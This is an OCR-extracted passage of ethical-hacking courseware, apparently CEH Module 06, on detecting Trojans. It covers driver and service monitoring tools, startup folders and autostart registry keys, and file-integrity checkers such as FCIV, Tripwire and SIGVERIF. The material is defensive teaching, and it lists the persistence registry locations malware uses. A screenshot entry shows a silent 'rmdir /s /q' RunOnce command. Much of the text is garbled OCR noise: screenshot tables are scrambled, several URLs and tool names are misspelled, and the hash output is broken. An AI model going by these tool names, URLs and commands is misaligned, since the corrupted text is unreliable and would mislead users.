
bite(), 1 Shected

http:/Amawv.nirsoft.net
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D evice D rivers M onitoring Tool: D riverView

Source: http://www.nirsoft.net

The DriverView wutility displays the entire currently loaded device drivers list in your system
Additional information is displayed for each and every driver in the list such as load address of
the driver, description, version, product name, company that created the driver, etc. Instead of
browsing for system components separately in Control Panel, just by running this application

on your system you can easily know all the drivers on your system . This application displays the

list of drivers that are on your system quickly and easily. Itcan create HTML reports.
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35 DriverView

File Edit View Options Help

ao~1n$
Driver Name Address Size Load... Index File Type Description Version Company EndA...
* ATMFD.DLL 000C000000B69000 0x00060000 2 125 Driver Windows NT OpenType/Type 1.. 5.1.2.234 Adobe System...  0Q0000000Q.
* cdd.dll (QO0000000CBFFOO0 — 0x00036000 1 124 Display Criver  Canonical Display Driver 6.2.8400.0 Microsoft Corp... (Oo00... -
* TsSDDD.dII 00000000 00709000 0x00009000 1 123 Display Criver Framebuffer Display Driver 6.2.8400.0 Microsoft Corp... 00000000Q.
+ win32k.sys 000000000 62000 0x003ed000 5 System Criver Multi-User Win32 Driver 6.2.8400.0 Microsoft Corp... Q0000000Q,
passthruparser.sys  O0000000I69F3000 QQCO0h00 1 153 System Criver Pass thru parser 6.2.8400.0 Microsoft Corp...
~ vhdparser.sys 000000001 69E9000 OQo000 1 149 System Criver Native VHD parser 6.2.8400.0 Microsoft Corp... aIln]In.
A~ asyncmac.sys 000C0000169DD000 OOO0KOC0 1 148 Network Driver ~ MS Remote Access serial networ...  6.2.8400.0 Microsoft Corp... (IIIIIID].
* WPRO_41_2001.sys (00000000I69D1000 OQ00x00 1 147 Unknown (mm_
4 sivsys G000000016933000 0x0009e000 1 116 Network Driver  Server driver 6.2.8400.0 Microsoft Corp... (Imﬂnl
v srv2sys 0000000016896000 0x0009d000 1 145 Network Driver ~ Smb 2.0 Server driver 6.2.8400.0 Microsoft Corp. (Imm)l
~ vhdmp.sys G000000016812000 0x00080000 1 151 System Criver VHD Miniport Driver 6.2.8400.0 Microsoft Corp... (]IIIIIIH.
# FsDepends.sys ‘000C000016800000 QOOOlZOOO 2 150 System Criver File System Dependency Manag...  6.2.8400.0 Microsoft Corp... (Imﬂnl
~ tcpipreg.sys ‘00000000 15FE3000 000012000 1 142 Application TCP/IP Registry Compatibility D...  6.2.8400.0 Microsoft Corp... (Imm)l
® srvnet.sys ‘O0000000'15F9F000 0x00044000 3 141 Network Driver  Server Network driver 6.2.8400.0 Microsoft Corp... (]IIIIIIH.
£ secdrv.SYS ‘00000000 15F34000 OQO0h0o00 1 140 System Criver Macrovision SECURITY Driver 4.3.86.0 Macrovision C... (Imﬂnl
+ rdpdr.sys ‘00000000 15F63000 0x00031000 1 139 Driver Microsoft RDP Device redirector 6.2.8400.0 Microsoft Corp... (Imm)l
~ npf.sys 00000000 15F57000 OQ00000 1 137 System Criver npf.sys (NT5/6 AMD64) Kernel D. 4.1.0.2001 CACE Technol... (]IIIIIIH.
« NiProbeMem.SYS  OOOCO000 1548000 OQ000I000 1 136 System Criver NiProbeMem for Observer Devic... 16.0.8.0 Network Instru... (]IIIIIIH.
~ WinVDEdrv6.sys 000000001 5F19000 QOOOZfOOO 1 135 Unknown 000000Aa..
* HTTP.sys ‘000000001 5E38000 OxO0CelO00 1 134 System Criver HTTP Protocol Stack 6.2.8400.0 Microsoft Corp...
+ lunparser.sys ‘000000001 5500000 OQCo0O0 1 154 System Criver lun parser 6.2.8400.0 Microsoft Corp... (]IIIIIIH.
« condrv.sys ‘000000001 5E00000 OCo000 1 143 System Criver Console Driver 6.2.8400.0 Microsoft Corp... qmm)].
~  storport.sys ‘000000001 5D9E000 0x00054000 1 152 System Criver Microsoft Storage Port Driver 6.2.8400.0 Microsoft Corp... (Imm
+ WinVDEdrv.sys ‘000000001 5D5E000 0x00040000 1 144 Unknown Virtual Encryption Driver 7.0.0.0 NewSoftwares.... m
% mrxsmb20.svs 0003000015D25000 0x00039000 1 133 Svstem Criver Lonohorn SMB 2.0 Redirector 6.2.8400.0 Microsoft Coro... (000X 1. v

155 item(s), 1 Selected

FIGURE 6.56: DriverView Screenshot
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i I Driver Detective Driver Reviver

- v http:/Amwv.drivershg.com http:/Awwv.reviversoft.com
\ A Unknown Device Identifier 1 DriverScanner

v http://Amw.zhangduo.com - http://Aww.uniblue.com

DriverGuide Toolkit Double Driver

vy , http:/Awwv.driverguidetoolkit.com I http:/Aww.boozet.org
DriverMax BB B My Drivers

H http://Awwv.innovative-sol.com Oon http:/Aww.zhangduo.com
Driver Magician DriverEasy
http:/Amw.drivermagician.com http:/Aww.drivereasy.com
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D evice D rivers M onitoring Tools

A few of the device driver monitoring tools that help in detecting Trojans are listed as

follows:

0 Driver Detective available at http://www.drivershg.com

0 Unknown Device Identifier available at http://www.zhangduo.com

0 DriverGuide Toolkit available at http://www.driverguidetoolkit.com

0 DriverMax available at http://www.innovative-sol.com

0 Driver Magician available at http://www.drivermagician.com

0 Driver Reviver available at http://www.reviversoft.com

0 DriverScanner available at http://www .uniblue.com

0 Double Driver available at http://www .boozet.org

0 My Drivers available at http://www.zhangduo.com

0 DriverEasy available at http://www.drivereasv.com
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Scanning for Suspicious
Windows Services

Trojans spawn Windows services allow

attackers remote control to the victim

machine and pass malicious instructions
Trojans rename their processes
to look like a genuine Windows
service in order to avoid

detection
Enterprise Service Manager L~ 0 x
DtaftvN**! 1<rrpﬂwu» Path A
0w <ol <locei  Sap  CAVL
0J £'<r,p'r : Pie$*win(E... Run" . Atfomitic
1CTvTUB I ffM™ J
0OJWndOM Evrrr ch (Loeel Bum. DM Autoratic
0J CCMe£7 0COIMM<Il <1001 Rim. CW'  Autometic
Qifuvi»n Provi ®nvoienmo < Sop i/l Menusl i H H i
OmeclenOlcvivri’w.. <. wp o mnE Trojans employ rootkit techniques to manipulate
OJ *rev** FartC«.k5a  (?mWarfo.  ticesd.. Rum.  CWM..  Auomatic HKEY_LOCAL_MACHINE\System\CurrentControlSet
AlWniciia FtearhinnFo <locd . Sop. CWI Nenal - = SR
-m‘lcro:o”rr ! [P**ndrSV %cal Rm. CWL. ic \Services registry keys to hide its processes
[E A R rsVS hr

\2
HVBEELCK 4KAL larGa
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S canning for Suspicious W indow s Services

w

Once the Trojans are installed on W indows services, it becomes easy for an attacker
to operate the system from a remote location. Trojans also create their processes to look like
genuine W indows services in order to avoid detection. W ith the help of Windows services

monitoring tools, you can detect the Trojans.

Trojans that spawn Windows services allow attackers remote control to the target machine and
pass malicious instructions. Trojans rename their processes to look Ilike a genuine W indows
service in order to avoid detection. Trojans employ rootkit techniques to manipulate
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services registry keys to hide their

processes.
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Enterprise Service Manager

File View Action Help

Service Type
= Regular C Drivers C Al Refresh Select a workstation <Local Machin
Display Name Description Computer Status  Path Startup Type A
Extensible Authentication... @Ysystenro... <Local.. Stop... CAWi... Manual
U# Encrypting File System (E.. @%SystemR... <local.. Runn.. CAWi... Automatic 11
liysld!lst29 <Local.. Runn... CAPr... Automatic p
ft?Windows Event Log @YSystemR... <Local.. Runn... CAWi... Automatic
COM+ Event System ®comres.dll,... <Local.. Runn.. CAWL... Automatic

Function Discovery Provi... @Yesystenro... <local.. Stop.. CAWL... Manual
ft? Function Discovery Reso... @¥systenvo... <Local.. Stop.. CAWL... Manual
Qdwindows Font Cache Ser... @systemro... <Local.. Runn.. CAWI.. Automatic
d# Windows Presentation Fo... @%oSystemR... <lLocal.. Stop... CAWL... Manual

Microsoft FTP Service @yonindir%eV.. <Local.. Runn.. CAWL... Automatic
Rrni in Pnlirit Pliprit 1nrA Rlinn CAWi Al v
1S9 Services 1 Computer(s) Administrator WIN-MSSELCK4K41 10/6/210 ~

FIGURE 6.57: Scanning for Suspicious Windows Services
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M onitoring T ool:

M anager”~SrvM kn

)

Windows Service Manager simplifies all common tasks related to Windows services. It can create services (both

Win32 and Legacy Driver) without restarting Windows, delete existing services, and change service configuration

© Service Manage:™
File View Service Help
Irtcmol narrc: Stole Type Ciipleyrare Sta-ttipe  Executable "
mPADMSysA... stepped Win32 QN> SMtenAppfcabun namd C:\'vin<: 1Pt i
runiing  dnvei Confole Drifer narHiel SistemG"dnvefsScondrv.sys
tmning  %hared  DyptoQiaphic Servces 000 C.Windem\i>«lem32'2vd10]t exe
.>C5NSPD . stepped  drive! CSN5HZTS82NDIS Ptyoca Daver tyrterr Sisten132\Drlvers>CSNSFDTS8Z syt 3
>>CSMSPD..  runring  drive! CSNEFDTSCac” VOS Vetoed Dwv<*  yjtem Sjotcm32\Driver»'1CSNEFDT SS2<64. iys
CONdISLVF  steeped dnvet C$NdsLV»f HDB Piacco D t"f ivsterr Ss1sem.32\Drivers\CSNdsL"VF. sys
$ Dcomlau.. runring “hared DCOM Server ftoc«et Laurchy auto CAW1n<Sws\?yst«1n32Uvcho«texe *k Decoml...
defragsVc  stepped  wri32 Optimzcdilej nanod C\1Vindevtsliy5len132'vjvchOjt exe «k defray.
3 DeilceAt  stepped  thared  DeviceAssociaian Serves nanul C\W hdews\iystefrul 2VsvchiMt exe +k Locals
| Dclcolro... stepped *hared Dcvcchital Servce nonod C:\Windw*\»yalerr02'14vchoxt cxo *k Dooml...
&Dfs lunrino wn32 DFS Nai e:w-e >10 C.\windcvis\jvstem32hdfs5vc ew
0 Dftc runing  FSdriver  DFS Nanetp-K* Ltont Lvm tyckrr Sj««n132\Dflvere\dic tyf
O DisDivoi runing  FSdiver DS Name«a-o$0\d  Driw :yjlon IyMerro2\driwsSdr*ys
DFSR runring wr>32 DFSRaplkllan MIO C\Wmdews\tjkt«tvi?VDFSRi »o0
fT)Df«no runring FS diiver  DrS ricplcaber ReocC rf> Divet beo» SSy»terricot"4/jtem32"«diverVit«ro dy«
# Dhcp mnrino thared DHCP Cleri MO C\v;indev "M T\ svtho*t «<e  Locals
dijoocho  runring  drvot SyttonAtirbjto Cacto tyjkxx S)«ira32\drivef«Vdboocho eyo
~disk tunring  drvoi Disk Drivel beet SSyslentPaX>Syiteln3esciivers\dijk. jys
dmvic stepped  drvit drvsc mn-H ‘SyslarFeonSy8teln32\e»11/ers\dmvdC sy*
Druoack®  runring tharod DNS Ciori *Ao C:\Windevtel#>ete1r132UvchMt e<O sk Melwor...
9 doOsvc stepped  ihaed WiedAutoConfg rtoritd CAWindw1s\iyslen132\jvchOit exe * LocelS..
& OPS runring Jhed DiagrcRbc PoJey Ser\nc# aUo C\Win<lows\Systen»32\tvel Bt ese «k Local
Rejlart setvice
http://tools.sysprogs. org
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W indow s Services M onitoring Tool: W indow s S ervice
M anager (SrvMan)
Source: http://tools.sysprogs.org
Windows Service Manager is a tool that allows you to shorten all public tasks linked to
W indows services. This can generate different services for W in32 and Legacy drivers without
shutting down and restarting W indows. It can also cancel existing services and manipulate
other configuration services. It has both GUI and ccommand-line modes. It can also be used to
run arbitrary W in32 applications as services. It supports all modern 32-bit and 64-bit versions of

Windows.
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File View Service Help

Internal name State Type Display name Start type Executable A
MCOMSysA... stopped W32 COM+ System Application manual C:\Windows\system32\dllhost. exe /Processid...
condrv running driver Console Driver manual System32\drivers\condrv. sys
$ CryptSvc lunning shared Cryptographic Services auto C:\Windows\system32\svchost.exe KNetwor...
VCSN5PO0.. stopped driver CSN5PDTS82 NDIS Protocol Driver system System32\Drivers\CSN5PD TS82. sys
Vv,>CSN5PO0... lunning driver CSN5PDTS82x64 NDIS Protocol Driver — system System32\Drivers\CSN5PDTS82x64.sys
->CsNdisLWF stopped driver CsNdisLWF NDIS Piotocol Driver system System32\Drivers\CsNdisLWF.sys
$ DcomLau... running shaied DCOM Server Process Launcher auto C:\Windows\system32\svchost.exe *k DcomL...
defragsvc  stopped W32 Optimize drives manual C:\Windows\system32\svchost.exe <k defiag...
DeviceAs... stopped shaied Device Association Service manual C:\Windows\system32\svchost.exe *k LocalS...
Devicelns... stopped shated Device Install Service manual C:\Windows\system32\svchost.exe *k DcomL...
u">Dfs running W2 DFS Namespace auto C\Windows\system32\dfssvc. exe
lunning FS dtivet ~ DFS Namespace Client Driver system System32\Drivers\dfsc. sys
OdsDriver lunning FS driver  DFS Namespace Server Filter Driver system system32\drivers\dfs. sys
“\fcDFSR lunning Wh32 DFS Replication auto C\Windows\system32\D FSRs.exe
~)DIsrRo lunning FS driver ~ DFS Replication Readonly Driver boot \SystemRoot\system32\dnvels\dfsrrosys
$ Dhcp tunning shaied DHCP Client auto C:\Windows\system32\svchost.exe k LocalS...
~  discache tunning driver System Attribute Cache system System32\drivels\discache. sys
disk tunning driver Disk Driver boot \SystemR00t\System32\drivers\disk.sys
dmvsc stopped driver dmvsc manual \SystemROOt\System32\drivers\dmvsc sys
Dnscache  lunning shated DNS Client auto C:\Windows\system32\svchost.exe «k Networ
3 dot3svc stopped shared Wired AutoConfig manual C:\Windows\system32\svchost.exe <k LocalS...
£ DPS lunning shaied Diagnostic Policy Service auto C:\Windows\System32Vsvchost exe *k Local.. \Y%
Properties... 11 Start service | Restart service
Add service 11 Delete service, 1 L Exit

FIGURE 6.58: Windows Service Manager (SrvMan) Tool Screenshot
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Windows Services Monitoring
Tools CEH

SMART Utility AnVir Task Manager
O http:/Avww.thewindowsclub.com I http://Awww.anvW.com

Netwrix Service Monitor Process Hacker
http:/Avww.netwrix.com http://processhacker.sourceforge.net

Free Windows Service

Vista Services Optimizer .
Monitor Tool

http:/Amwww.smartpcutilities.com .
http://mww.manageengine.com

Serviwin Overseer Network Monitor

http://www.nirsoft.net E 55 http://www.overseer-network-monitor.com

Windows Service Manager .
Total Network Monitor

Tray ] . http:/Awww.softinVentiVe.com
http://winservicemanager.codeplex.com
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W indow s Services M onitoring Tools

f B

W indows Services monitoring tools monitor critical W indows services and optionally

restart them after failure. A few of the W indows service monitoring tools that are readily

available in the market are listed as follows:
0 Smart Utility available at http://www .thewindowsclub.com
0 Netwrix Service Monitor available at http://www .netwrix.com
0 Vista Services Optimizer available at http://www.smartpcutilities.com
0 ServiwWwin available at http://www.nirsoft.net
0 Windows Service Manager Tray available at http://winservicemanager.codeplex.com
© AnVir Task M anager available at http://www.anvir.com
0 Process Hacker available at http://processhacker.sourceforge.net
0 Free Windows Service Monitor Tool available at http://www .manageengine.com
0 Overseer Network Monitor available at http://www .overseer-network-monitor.com
0 Total Network Monitor available at http://www.softinventive.com
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Check start up folder

C:\Program D ata\M icrosoft
\W indows\Start
Menu\Programs'*Startup
C:\Users\(User-
Name)\AppData\Roaming\
Microsoft\W indow s\Start
Menu\Programs'~Startup

Check Windows services
automatic started

Go to Run Type services.msc

-> Sort by Startup Type

Exam 312-50 Certified Ethical Hacker

CEH

Check start up program
entries in the registry
Details are covered in next
slide

Check device drivers
automatically loaded
C:\Windows\System 32\
drivers

Check boot, ini

or bed

S canning for

S uspicious

(bootmgr) entries

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Startup Program s

Trojans, once installed on the computer, start automatically at system startup.
Therefore, scanning for suspicious startup programs is very essential for detecting Trojans. By
following these simple steps, you can identify ifthere are any hidden Trojans:

Step 1: Check the Startup folder

C:\ProgramData\M icrosoft\W

C:\Users\ (User-Name)

M enul\Programs\Startup

Step 2: Check W indows services automatic
Go to Run, type services.msc, and click Sort
Step 3: Check startup program entries in the
Step 4: Check that device drivers are

C:\W indows\System32\drivers

Check boot.ini or bed (bootmgr) entries
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indows\Start

\AppDatal\Roaming\M

automatically

M enul\Programs\Startup

icrosoft:\W indows\Start

started

by Startup Type

registry

loaded:
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Windows8 Startup Registry
Entries CEIII

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, Cognition Start.up
Explorer HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders, Common Startup
Startup HKCU\Software\Microsoft\W indows\CurrentVersion\Explorer\Shell Folders, Startup
Setting HKCU\Software\Microsoft\W indows\CurrentVersion\Explorer\User Shell Folders, Startup
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows, load

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Windows HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Sst:trtti:z HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Internet Explorer\UrlSearchHooks
IE HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar
Sst:trtti:s HKLM\SOFTWARE\MicrosoftMnternet Explorer\Extensions

HKCU\SOFTWARE\Microsoft\Internet Explorer\MenuExt

Programs that run on Windows startup can be located in these registry entries

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

W indow s8 Startup R egistry E ntries

Programs that run on W indows startup can be located in these registry entries:

HKLM\SOFTWARE\Microsoft\windows\Currentversion\Explorer\Shell Folders, Catmon startup
Explorer HKLM\SOFTWARE\MicrosoftiWindows\CurrentVersion\Explorer\User Shell Folders, Common Startup
Startup HKCU\Software\Microsoft\W indows\CurrentVersion\Explorer\Shell Folders, Startup
Setting HKCU\Software\Microsoft\W indows\CurrentVersion\Explorer\User Shell Folder?, Startup
HKCU\Software\Microsoft\Windows NT\CurrentVerslon\Windows, load

HKLM\SOFTWARE\M icrosoft\W indows\CurrentVersion\Run

Windows HKCU\Software\Microsoft\W indows\CurrentVersion\Run
Startu
Setting HKIM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVerslon\RunOnce
HKCU\Software\Microsoft\Internet Explorer\UrlSearchHook3
IE HKLM\SOFTWARE\Micro3oft\internet Explorer\Toolbar
Startu
Setting HKLM\SOFTWARE\MicrosoftMnternet Explorer\Extensions
HKCU\SOFTWARE\Microsoft\Internet Explorer\MenuExt
FIGURE 6.59: Windows8 Startup Registry Entries
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Startup Programs Monitoring
Tool: Starter

Starter is a startup manager for Microsoft Windows

CEH

It allows you to view and manage all the programs that are starting automatically whenever
OS is loading

ra Starter (Server 4.0) I DX
Fle Edit Cenfiguiation Help
a a a 10 0 3 .
e it Jrr-  Refeh  Lanch Pioperim Cpbont  Abcut /72m
A Processes | Seivi
ections SB tf \de Eratt.  Doscipthn
% Al sections (18) wSiBaBm

U Statupfolders(t) 0 tf APC Registry - User Run i

curentwer 0 <tf APC Registry - Machine Run tlgq «
i A" ve)” ] Driver Detective RejpKry ~User Rin LJ\&
0l (3 diexe Regitry « Machine Run ol
g Fegiitny 19 0 & flcomSoftDPRS Reysfty ~UserRun {¢ Elcomsoft Distributed Passac
& Currentuser(n) (3 Notfiar ClEnpEn Fil Reyitry » Machine Run Eiv EVET Notifiei (Enhanced Mil!
PoRunfit Ul PSON UD START 't 1 1q1271fin it5h J Re’tby ~ Machine Run EPSONUSBDitplsy VI M [{P
M Fudee(l) O ir FlBaclup (r (1980 cw et Regisoy UserRun %\}E (Folder Lock)
3 Alwers()  O0<P qoogle*l Calbgen tilet (18660 Recpttry » Machine Run < Googjlr Tak
H Run(9 3 [} Re*say MachineRun  lid Yes
j$ RuOnce  [1+§{ ReyW'> - Uiw Rin Window* live Metienyar
3 RnOceE. 0 g Rveptry » MachineRin - g\
H RS Snigi: 10Irk [REXTVLN Startup AD Users: Isd Ye Snech
3 RunSevict. | liinM RET! Reiptry » Machine Run
b2 Difinls Tite Utk ahl e t Regijoy MachineRun". § 135
0 Uninstall CAUter..  O\Windo!MUy£tm3?.cmdM 'q/c imdr/s/q ,C - Rﬂry-usermnome Ve
ara Wikl RN EHITS Reysoy " UserRin [T
Adobe Readei and Actibat Manager/ 1.6.5.0/Adobe Reader and Acrobat Manager/ Ad>
— ms—iia—2'2—*%— laamuu-
http://codestuff.tripod, com
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r Startup Program s M onitoring Tool: Starter
Source: http://codestuff.tripod.com

Starter allows you to view and manage all the programs that start automatically whenever the
operating system is loaded. It enumerates all the hidden registry entries, startup folders' items
and some of the initialization files, so that the user could choose to temporarily disable

selected entries, edit them , create new, or delete them permanently.

Starter can also list all the processes running and with a change to view extended process’
information (such as used DLLs, memory usage, thread count, priorities, etc.), and to terminate
selected process. It supports Microsoft Windows 9x, Me, NT, 2000, XP, 2003, and Vista. There
are no specific requirements except one: registry operations on a Windows-NT-based

operating system may require special access rights. As a rule, members of Administrators and

Power Users groups have nothing to worry about.
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5 Starter (Server 4.0) W
File Edit Configuration Hdp
|1 0 a a a cl a 3 1 A .
I Bt Nev. Edit Delete Refresh Launch  Properties ~ Optwm About
-4 StJitupl 9 Piocrssn \4b Swvkci
Sections SB 63 Name * Value Section Detadter.
" Al sections (18) lEsazakEE Czae
- Startup folders (1) » tf APC C:\Program Files (*86)\Advanced Parental Controf\B.~  Registry * User Run Yes  (Back Process)
A~ Current user *k C:\Program Files (x86)\Advanced Parental ControfB...  Registry mMachine Run Yes  (Back Process)
Jtt All users (1) Pl Driver Detective C:\Program Files («96)\PC Drivers He*dQuarters\Dnv...  Registry ~ User Run & Yes
£* Default user (3 dtn.exe “C:\Program Files (x86)\Auto-Tracker\dtn.exe" Registry * Machine Run Yes
B Registry (17) ElcomSoft DPRS".  C:\Program Files (186)\Ekomsoft Password Recovery... Registry - User Run Yes Elcomsoft Distributed Passwc
B & Currentuser(7) 0 g EMET Notrfiei C:\Program Files (*86)\EMET\EMET _notlfler.tte Registry - Machine Run i+ fm  EMET Notifier (Enhanced Mib
3  Run($) 0 J* EPSON UD START "C:\Program Files (*86)\EPSON Projector EPSON US—  Registry « Machine Run Yes EPSON US8 Display V.40 (EP™
3 RunOnce(l) B 6 FLBdckup C:\Progrem Files (*86)\NewSoftware s\FOWer Lock\F...  Registry « Uset Run i+ Yes (Folder Lock)
a Si Allusers(10) 0 <> googlttalk C:\Program Files (x86)\Google\Google Talc\googlet...  Registry ~Machine Run 13 Yes Google Talk
3 Run(9) 0 GTWhois C:\Program Files (x86)\GeekTools\GTWho«s-ece Registry - Machine Run Yes
3 RunOnce 0 il msnmsgr “C:\Program Files (x86)\Windows Irve\Messenger\m...  Registry « Uset Run Yes -
3 RunOnceE.. (3 m5.exe “C:\Program Files (x86)\ActrveTracker\m5.exe* Registry mMachine Run Yes H H
3 RunSennces [3 (B Soagrt 10.Ink C:\Program Files (x86)\TechSm*h\Sn«gft 10»Snag«t3..  Startup All Users V' Yes Snagit
3 RunServke.. 0 svenet2 C:\Windows\svcnet2Vsvenet2.exe Registry ~Machine Run < «a
B S4 Default user 0 Title UnHackMe Rootkit Check Re9«tly - Machine Run...  _ fn
3 Run 0 Uninstall C:\User... C:\WIndOi'« systemJ2~cmd.e*e/q /c rmdw /* /q "C~. Registry mUser RunOnce Yes
3 RunOnce (3 B WmFLTray G\Wmdows\SysWo*64\W*FLTray.eKe Registry mUser Run Yes Tray ApplKation (Folder Lock
B 7 INIfiles

3

Adobe Reader and Acrobat Manager / 16.5.0/ Adobe Reader and Acrobat Manager / Adobe Systems Incorporated

FIGURE 6.60: Starter Tool Screenshot
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Startup Programs Monitoring ClEY
Tool: Security AutoRun o

Security AutoRun displays the list of all applications that are loaded automatically when Windows starts up

1 om Security Autorun  ;WIN-MSSEICK4K41/AcIminlstrator] I
o o
4
N Startup Program s M onitoring Tool: S ecurity AutoR un

Source: http://tcpmonitor.altervista.org

Security AutoRun allows you to view the list of all applications that are loaded automatically
when Windows starts up. Each application is listed with the details of its type, registry,
common/user, services, drivers list, command-line string, product name, file version, company
name, location in the registry or file system, and more. It identifies a spyware or adware
program that runs at startup. Compatible operating system s of W indows are

9x/ME/NT/2000/X P /VistalT7.
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Security Autonvt - [WIN MSStIC K4K4VAdmmistMtor] Isism m
0O O
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! ;"*1“ # IMd nwl ff fm O Jttxtw *e** 1 <f «CUMOE™W> | # WIM/Ri#c<rkX>
T ,I,gve“) # Mﬁ]’*‘ﬁi)ﬂx | Prva | etHMCUL | Vv (re.0il | LIKMMITMI | h M -
¥ a0V # | # mMI**Obpa{l) |V HIM/Sifi0aCi _ Sart«(Mrvat>-(n|| 0 )M | | A «Mcaal 1
¥ D00 SHrrCtN«t
At ® « fcM 0»*rtOm W*hSATMON Cyrtne* *XNY" F<TS*0* V&N 0* Tt
*ppk*Sowl*t«r iU M i Strict
¥ CAfroan »gc<o’\J<Tyfwm Brct<V</30)l>\\ *
;/ Aroonxi;so Nrtwertt IrevneQr P»o C\A“‘g‘«» N {mx) ROanv
X dnont i H<Arm?oom> 0D
ortew! At>1Uo/ Ot XAk o
N Mynému‘l ox
* SO0
¥ _instato) Cq it
4 9 ﬁ’] instato) Components C: <<ﬂN(<(>N’ -
¥ wgon v‘r ‘.‘mvn RIREITERIE
1 QStruSWO«r 64\/)@"*Plt«'
~ w itvipSrMon %
JP Nryca(SS t fo"lan Cbc’\ >E(I7*<gpj-*o
4 Q>Mri
0 >Ntr MWW IM % eit.rxe
49 rS/aOJOSM X FOI*NN(IM1y %«nraS4rl<(t"
i
4.9 Applr«D"IU C'AT«Manrta N «Uywr>K f>* /If
g *opt™ CWr’\einDW<ner>r »W»«.SQLW»
A TarS<*adJar Nr«n*tSor PIS+WV tfrvn#
0/ S Mcrwoft 0* 0* Owgnotacs S«*O'ite ~A>07’,“H wW4\.
Oxo» Jara Cngn* Xtay" INn (ICow NI\I-E[IC*QI\»Cf

ttlkﬂgl){{

) pr\N X:1~0yvemNetComien N»ef40eee” $hsndvy*cv
Pmkjp* wvm HN (M:rcttUpaYMe* o * 4 k¢
POQOWct X:*o*e'eH " 0*9V*W1 MW fOQOKioyfOQ
Per<enal®»Cexmr OU h*« C'AWiSos>
B<V3)*smt  HKtY.IOCALMACM{r SYS

Module 06 Page 977

FIGURE 6.61: Security AutoRun Tool Screenshot

Ethical Hacking and Countermeasures Copyright © by EC-COUnNCIl
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker

Trojans and Backdoors

Startup Programs Monitoring
Tools CEH

Absolute Startup manager Program Starter
http:/Avww.absolutestartup.com http://imwww.ab-tools.com

© ActiveStartup Disable Startup
http:/Aww. hexilesoft. com http://www.disablestartup.com
StartEd Lite StartupMonitor
http:/Awww.outertech.com ta t http:/Awww.mlin.net
Startup Inspector Chameleon Startup Manager
http://ww.windowsstartup.com http:/Awww.chameleon-managers.com
Autoruns for Windows 111 Startup Booster
http://technet.microsoft.com http://mww.smartpctools.com
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Startup Program s M onitoring Tools

'

A list of Startup programs’' monitoring tools are as follows:

0 Absolute

Startup manager available at http://www .absolutestartup.com

0 ActiveStartup available at http://www .hexilesoft.com

0 StartEd

0 Startup

0 Autoruns

0 Program

0 Disable

Lite available at http://www.outertech.com

Inspector available at http://www .windowsstartup.com

for Windows available at http://technet.microsoft.com

Starter available at http://www.ab-tools.com

Startup available at http://www.disablestartup.com

0 StartupMonitor available at http://www .mlin.net

0 Chameleon Startup M anager available at http://www.chameleon-manaRers.com

0 Startup
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Booster available at http://www.smartpctools.com
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Scanning for Suspicious Files

and Folders
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CEH

Trojans normally modify system's files and folders. Use these tools to detect system changes

FClV TRIPWIRE SIGVERIF
Itisa command line utility that Itis an enterprise class system It checks integrity of critical files
computes MD5 or SHAL integrity verifier that scans and that have been digitally signed
cryptographic hashes for files reports critical system files for by Microsoft

changes

C:\ Clv>fciv\.exe c:\hash.txt

// File Checksum Integrity Verifier
version 2.05.

11
6blfb2f76¢139c82253732elc8824cc2
C:\hash.txt

“tripw ire

Scanning for Suspicious

Usually when a system gets

can scan the files and folders with the

A FClIV

infected

following

v File Checksum Integrity Verifier

or SHA-1 hash values for files that can

change in them ; if found, you can ru

n

be

a

database to determine which files have

computes and verifies cryptographic hash

an XML file database.
C:\ ClVv >fcivli.exe c¢c:\hash

I File Checksum Integrity

Il

Ltxot
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Files and Folders

(FC1V)

by

a Trojan, it modifies the files and folders; you

tools in order to detect the Trojans installed.

is a utility that can allow you to generate M DS5

verified with the standard values to determine any

verification of the file system files against the XML

been modified. It is a command-prompt utility that

values

of all your critical files and saves the values in

Verifier version 2.05.

6blfb2f76cl39c82253732elc8824cc2 c

Tripwire

Source: http://www .tripwire
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Tripwire Enterprise provides the configuration control capabilities organizations need to
proactively secure the entire infrastructure and ensure compliance with internal policies,
regulations, and industry standards and benchmarks.
“ SIGVERIF
Source: http://books.google.co.in

SIGVERIF is a signature verification tool that allows you to find signed and wunsigned drivers
connected to the system. W hen you find any wunsigned driver, you can move that to a new
folder and restart the system and test the program and functionality for errors. The following
are the steps to identify unsigned drivers:

Q Click Start, click Run, type SIGVERIF, and then click O K.

9 Click the Advanced button.

0 Click the other files that are not digitally signed.

0 Navigate to winnt\lsystem32\driversfolder and then click OK.
After SIGVERIF finishes, it checks all the unsigned drivers and lists are displayed on the
computer. The investigator can find the list of all signed and unsigned drivers found by SIGVERIF
in sigverif.txt inthe % windir% folder, typically the winnt or windows folder.
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Files and Folder Integrity
Checker: FastSum and WinMD5

WNMD5 V2.07 (Cl 2003-2006 by eolsonS'mitedu - 1ot x

http:/Aww.blisstonia.com

J WinMD5 is a Windows utility for computing the
MD5 hashes ("fingerprints") of files

J These fingerprints can be used to ensure that
the file is uncorrupted

http:/Amww.fastsum.com

J FastSum is used for checking integrity of the files

-J ltcomputes checksums according to the MD5 checksum algorithm

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Files and Folder Integrity Checker: FastSum and W inM D 5

A files and folder integrity checker allows you to monitor the integrity of files and
folders and check for any changes in the critical files, indicating potential intrusion attempts.
These work with a suite of security tools to provide a complete audit and monitoring solution

for OSS and Guardian file systems.

FastSum
Source: http://www .fastsum .com

FastSum is built on the well-proven M D5 checksum algorithm, which is used worldwide for
checking the integrity of the files. You can take control of your data with FastSum. Fingerprint
your important files now and check the integrity after a network transfer or a CD burning
simply by taking the fingerprints again and comparing them with the previously made ones. In
